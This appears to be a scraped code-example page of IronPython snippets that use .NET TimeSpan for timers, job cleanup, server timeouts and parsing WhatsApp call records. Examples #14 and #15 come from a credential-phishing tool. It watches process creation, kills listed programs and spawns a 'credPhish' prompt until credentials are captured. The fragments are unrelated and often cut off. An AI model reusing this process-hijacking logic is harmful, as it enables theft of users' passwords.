示例#1
0
    def __init__(self, host=None, port=None, testFile=None):
        self.ui = wpf.LoadComponent(self, 'WindowMain.xaml')
        self.sidebar = self.ui.sidebar
        self.model = AppVM(
        )  #object to which UI thread and socket thread will communicate
        self.client = Client()

        #setup ui threadupdate
        self.updater = DispatcherTimer()
        self.updater.Tick += self.update_UI
        self.updater.Interval = TimeSpan(0, 0, 0, 0, 33)
        self.updater.Start()

        if host != None and port != None:
            p = int(port)
            h = str(host)
            self.submit_message("/connect {0} {1}".format(h, p))

        #run test script
        if testFile != None:
            try:
                file = open(testFile)
                text = file.read()
                lines = text.split("\n")
                for line in lines:
                    self.submit_message(line)
                MessageBox.Show("Test file has been run.")
            except:
                MessageBox.Show("Failed to open " + testFile)
示例#2
0
    def test_System_DateTime_binding(self):
        pydt = datetime.datetime(2015, 4, 25, 8, 39, 54)
        netdt = DateTime(2015, 4, 25, 9, 39, 54)

        result = netdt.Subtract(pydt)
        expected = TimeSpan(1, 0, 0)

        self.assertEqual(expected, result)
	def onClick(self, sender, event):
		self.Running = not self.Running
		self.startButton.Content = "Start" if not self.Running else 'Stop'
		
		if self.Running:
			print 'Starting timer...'
			self.timer.Interval = TimeSpan().FromSeconds(0)
			self.timer.Start()
			self.timer.Interval = self.refreshTime
		else:
			print 'Stopping timer...'
			self.timer.Stop()
			self.listView.Items.Clear()
示例#4
0
    def __init__(
        self,
        server=None,
        username=None,
        password=None,
        domain=None,
        authentication_mode=AuthenticationMode.PI_USER_AUTHENTICATION,
        timeout=None,
    ):
        if server and server not in self.servers:
            message = 'Server "{server}" not found, using the default server.'
            warn(message=message.format(server=server), category=UserWarning)
        if bool(username) != bool(password):
            raise ValueError(
                "When passing credentials both the username and password must be specified."
            )
        if domain and not username:
            raise ValueError(
                "A domain can only specified together with a username and password."
            )
        if username:
            from System.Net import NetworkCredential
            from System.Security import SecureString

            secure_pass = SecureString()
            for c in password:
                secure_pass.AppendChar(c)
            cred = [username, secure_pass] + ([domain] if domain else [])
            self._credentials = (NetworkCredential(*cred), int(authentication_mode))
        else:
            self._credentials = None

        self.connection = self.servers.get(server, self.default_server)

        if timeout:
            from System import TimeSpan

            # System.TimeSpan(hours, minutes, seconds)
            self.connection.ConnectionInfo.OperationTimeOut = TimeSpan(0, 0, timeout)
	def __init__(self):
		rd = ResourceDictionary()
		rd.Source = Uri("pack://application:,,,/ClassicAssist.Shared;component/Resources/DarkTheme.xaml")
		self.Resources.MergedDictionaries.Add(rd)
		self.Background = self.Resources["ThemeWindowBackgroundBrush"]		
		
		self.Content = XamlReader.Parse(xaml)
		self.Title = "Durability"
		self.Topmost = True
		self.SizeToContent = SizeToContent.Width
		self.Height = 400
		self.refreshTime = TimeSpan.FromSeconds(30)
		
		self.listView = self.Content.FindName('listView')
		self.startButton = self.Content.FindName('startButton')
		self.startButton.Click += self.onClick
		
		self.timer = DispatcherTimer()
		self.timer.Tick += self.onTick
		self.timer.Interval = TimeSpan().FromSeconds(0)
		self.timer.Start()
		self.timer.Interval = self.refreshTime
		self.Running = True
示例#6
0
    def delete_jobs(self):
        current_time = DateTime.Now
        hours = self.delete_days * 24

        jobs = list(RepositoryUtils.GetJobs(True))
        self.log_verbose("Found {0} jobs. Scanning...".format(len(jobs)))

        older_than = current_time.Subtract(TimeSpan(hours, 0, 0))
        for job in jobs:
            submitted = job.JobSubmitDateTime
            if submitted == DateTime.MinValue:
                continue
            if DateTime.Compare(submitted, older_than) < 0:
                if not self.dry_run:
                    self.log_verbose(
                        "Removing job {1} - {0}. Submitted on {2}.".format(
                            job.JobName, job.JobId, submitted))
                    RepositoryUtils.ArchiveJob(job, True, None)
                else:
                    self.log_verbose(
                        "Would have removed job {1} - {0}. Submitted on {2}.".
                        format(job.JobName, job.JobId, submitted))

        print("Older than {0}".format(older_than))
示例#7
0
	def decode_calls(self):
		# define an empty call list
		callList = []
		#read the content in a list
		try:
			with io.open(pathCallRecordsFile, 'r', encoding='utf8') as filehandle:
				for line in filehandle:
					# add item to the list
					parsedLine = []
					currentPos = 0
					line = line.replace('"','')
					#print('starting',line)
					if (line[currentPos]=='['):
						currentPos = currentPos + 1
						if (line[currentPos]=='['):
							currentPos = currentPos + 1
							endPos = line.find(']',currentPos)
							parties = line[currentPos:endPos]
							#print(parties)
							partyList = parties.split(', ')
							parsedLine.append(partyList)
							currentPos = endPos+1
					parsedLine = parsedLine + (line[currentPos:-2].split(', '))
					#res = line[1:][:-1].replace('"','').split(',')
					#print(parsedLine)
					callList.append(parsedLine)
		except Exception as e:
			print('Error:',e)		
		count =0 
		#print(callList)
		ancient_date = time.localtime() #today
		recent_date = TimeStamp.FromUnixTime(0) # pre nintendo era
		
		for c in callList:
			#print(c)
			call = Call()
			call.Deleted = DeletedState.Intact 
			call.Source.Value = "WhatsApp (UIExport)"
			#parties
			counter=0
			for p in c[counter]:
				call.Parties.Add(Party.MakeFrom(p.strip(),None))
			#Calltype
			counter = counter + 2
			#print("direction",c[counter])
			if c[counter].strip() == '-2':
				call.Type.Value = CallType.Missed
			elif c[counter].strip() == '-1':
				call.Type.Value = CallType.Incoming
			elif c[counter].strip() == '1':
				call.Type.Value = CallType.Outgoing
			elif c[counter].strip() == '2':
				call.Type.Value = CallType.Rejected
			else:
				call.Type.Value = CallType.Unknown
			#CallDate
			counter = counter + 1
			#print(c[counter])
			dateString = c[counter]
			year,month,day,hour,minute,second = dateString.split('_')
			dt = DateTime(int(year),int(month),int(day),int(hour),int(minute),int(second))
			call.TimeStamp.Value = TimeStamp(dt)
			#CallDuration
			comments = ""
			counter = counter + 1
			if (c[counter].find(':')>0): #It is a duration
				call.Duration.Value = TimeSpan (0,int(c[counter].split(':')[0]),int(c[counter].split(':')[1]))
			else:
				call.NetworkCode.Value = c[counter]
			#CallData
			counter = counter + 1
			call.NetworkName.Value = "WhatsApp"
			
			#isVideoCall
			counter = counter + 1
			if c[counter].lower() == 'true':
				call.VideoCall.Value = True
			else:
				call.VideoCall.Value = False
			
			call.Source.Value = self.APP_NAME 
			
			print "adding call"
			ds.Models[Call].Add(call)
			count = count +1
		print ("finished adding call records",count)
示例#8
0
                stringBuilder.Remove(0, selectedTerm1.Length)

    return selectedTermList


def onTick(timer, e):
    update()

    timer.Stop()
    timer.Interval = TimeSpan.FromMinutes(1.5)
    timer.Start()


def onStart(s, e):
    global timer

    timer.Start()


def onStop(s, e):
    global timer

    timer.Stop()


dateTime = DateTime.Now - TimeSpan(0, 30, 0)
timer = DispatcherTimer(DispatcherPriority.Background)
timer.Tick += onTick
timer.Interval = TimeSpan.FromMinutes(1)
Script.Instance.Start += onStart
Script.Instance.Stop += onStop
示例#9
0
	def onClick2(sender, args):
		global timer, ts

		ts = TimeSpan(0, -1 * sender.Tag, 0)
		timer.Start()
示例#10
0
        Console.WriteLine("CD has been ejected")





notifier = Notification()
test = DriveGrab();
##Set up drive observer
observer = ManagementOperationObserver()
opt = ConnectionOptions()
opt.EnablePrivileges = 1
scope = ManagementScope("root\\CIMV2",opt)
q = WqlEventQuery()
q.EventClassName = "__InstanceModificationEvent"
q.WithinInterval = TimeSpan( 0, 0, 1 )
q.Condition = "TargetInstance ISA 'Win32_LogicalDisk' and TargetInstance.DriveType = 5"
w = ManagementEventWatcher( scope, q )

#Add event handler and use Console.ReadLine() to hold the thread
try:
    w.EventArrived += EventArrivedEventHandler( CDREventArrived )
    
    w.Start()
    Console.ReadLine()
    w.Stop()
except:
    print "There was an error detecting the cd drive"
finally:
    w.Dispose()
示例#11
0
 def timer_slider_ValueChanged(self, sender, e):
     self.timer.Interval = TimeSpan(0, 0, 0, 0, sender.Value)
示例#12
0
 def start_Click(self,sender,e):
     self.starttime=TimeSpan(0,0,0)
     self.label1.Text=self.starttime.ToString()
     self.timer1.Start()
示例#13
0
 def timer1_tick(self,sender,e):
     self.starttime=self.starttime+TimeSpan(0,0,1)
     self.label1.Text=self.starttime.ToString()
示例#14
0
    proc = e.NewEvent
    if proc['TargetInstance']['Name'] in WATCHLIST:
        Process.GetProcessById(proc['TargetInstance']['ProcessId']).Kill()
        print "[+] KILL SUCCESS: {0}\t{1}".format(proc['TargetInstance']['ProcessId'], proc['TargetInstance']['CommandLine'])
        cp = credPhish(proc)
        print "[+] PROCESS SPAWNED: {0} {1}".format(cp.path, cp.NewProcess.StartInfo.Arguments)
        cp.NewProcess.Start()
        print "[!] PROCESS EXIT CODE: {0}".format(cp.NewProcess.ExitCode)

def procWatch():
    print "[*] Watching Process Creation for: {0}".format(", ".join(WATCHLIST))
    while GOT_CRED is False:
        try:
            proc = startWatch.WaitForNextEvent()
            if proc['TargetInstance']['Name'] in WATCHLIST:
                Process.GetProcessById(proc['TargetInstance']['ProcessId']).Kill()
                print "[+] KILL SUCCESS: {0}\t{1}".format(proc['TargetInstance']['ProcessId'], proc['TargetInstance']['CommandLine'])
                
                cp = credPhish(proc)
                if hasattr(cp, "NewProcess"):
                    cp.NewProcess.Start()
                    print "[+] PROCESS SPAWNED: {0}\t{1} {2}".format(cp.NewProcess.Id, cp.path, cp.NewProcess.StartInfo.Arguments)
                    #Process.GetCurrentProcess.Kill()
                    Thread.GetCurrentThread().Abort()
        except:
            break
try:
    startWatch = ManagementEventWatcher(WqlEventQuery("__InstanceCreationEvent", TimeSpan(0,0,1), 'TargetInstance isa "Win32_Process"' ))
    procWatch()
except KeyboardInterrupt:
    print "[*] Exiting."
    while GOT_CRED is False:
        try:
            proc = startWatch.WaitForNextEvent()
            if proc['TargetInstance']['Name'] in WATCHLIST:
                Process.GetProcessById(
                    proc['TargetInstance']['ProcessId']).Kill()
                print "[+] KILL SUCCESS: {0}\t{1}".format(
                    proc['TargetInstance']['ProcessId'],
                    proc['TargetInstance']['CommandLine'])

                cp = credPhish(proc)
                if hasattr(cp, "NewProcess"):
                    cp.NewProcess.Start()
                    print "[+] PROCESS SPAWNED: {0}\t{1} {2}".format(
                        cp.NewProcess.Id, cp.path,
                        cp.NewProcess.StartInfo.Arguments)
                    #Process.GetCurrentProcess.Kill()
                    Thread.GetCurrentThread().Abort()
        except:
            break


try:
    print "[*] Watching Process Creation for: {0}".format(", ".join(WATCHLIST))
    startWatch = ManagementEventWatcher(
        WqlEventQuery("__InstanceCreationEvent", TimeSpan(0, 0, 1),
                      'TargetInstance isa "Win32_Process"'))
    procWatch()
except KeyboardInterrupt:
    print "[*] Exiting."
示例#16
0
            menuItem.Header = "Gmail"

        for window in Application.Current.Windows:
            if window is Application.Current.MainWindow and window.ContextMenu is not None:
                if not window.ContextMenu.Items.Contains(menuItem):
                    window.ContextMenu.Opened += onOpened
                    window.ContextMenu.Items.Insert(
                        window.ContextMenu.Items.Count - 4, menuItem)

                    if not clr.GetClrType(Separator).IsInstanceOfType(
                            window.ContextMenu.Items[10]):
                        separator = Separator()
                        window.ContextMenu.Items.Insert(10, separator)

    timer.Start()


def onStop(s, e):
    global timer

    timer.Stop()


dateTime = DateTime.Now - TimeSpan(12, 0, 0)
menuItem = None
separator = None
timer = DispatcherTimer(DispatcherPriority.Background)
timer.Tick += onTick
timer.Interval = TimeSpan.FromMinutes(1)
Script.Instance.Start += onStart
Script.Instance.Stop += onStop
示例#17
0
 def duration(self, time):
     mins, secs = divmod(time, 60)
     hours, mins = divmod(mins, 60)
     return TimeSpan(hours, mins, secs)
示例#18
0
 def _create_and_start_timer(self):
     self.timer = DispatcherTimer()
     self.timer.Tick += self.dispatcherTimer_Tick
     self.timer.Interval = TimeSpan(0, 0, 0, 0, self.timer_slider.Value)
     self.timer.Start()